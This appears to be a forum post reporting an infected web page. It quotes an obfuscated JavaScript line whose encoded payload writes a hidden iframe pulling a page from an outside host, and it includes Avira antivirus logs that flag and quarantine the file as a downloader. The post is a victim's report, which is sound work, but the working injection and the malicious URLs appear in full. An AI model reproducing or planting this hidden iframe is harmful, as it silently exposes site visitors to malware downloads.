http://prasatkovo.wz.cz/img9/amalka.htm

fireold

1. document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%65%69%73%74%72%69%2E%6E%65%74%2F%6E%75%63%66%2F%69%6E%64%65%78%2E%70%68%70%22%20%68%65%69%67%68%74%3D%35%20%77%69%64%74%68%3D%35%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E'));

复制代码

Avira

2013/11/7 上午 06:14 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\amalka[1].htm'
      包含病毒或有害的程式 'JS/Dldr.IFrame.O' [virus]
      已採取動作：
      檔案會移動至 '55ac12cf.qua' 名稱底下的隔離區目錄。.

2013/11/7 上午 06:14 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        822
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/11/7 上午 06:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\amalka[1].htm 中
      偵測到病毒或有害的程式 'JS/Dldr.IFrame.O [virus]'
      執行的動作：傳輸至掃描程式

2013/11/7 上午 06:14 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\7853OJ09\amalka[1].htm 中
      偵測到病毒或有害的程式 'JS/Dldr.IFrame.O [virus]'
      執行的動作：拒絕存取

2013/11/7 上午 06:13 [Web Protection] 已停用 Web Protection
      服務已停用

2013/11/7 上午 06:13 [Web Protection] 封鎖的網頁
      URL (http://prasatkovo.wz.cz/img9/amalka.htm) 的評估結果為 惡意程式碼，而遭到封鎖。

fs is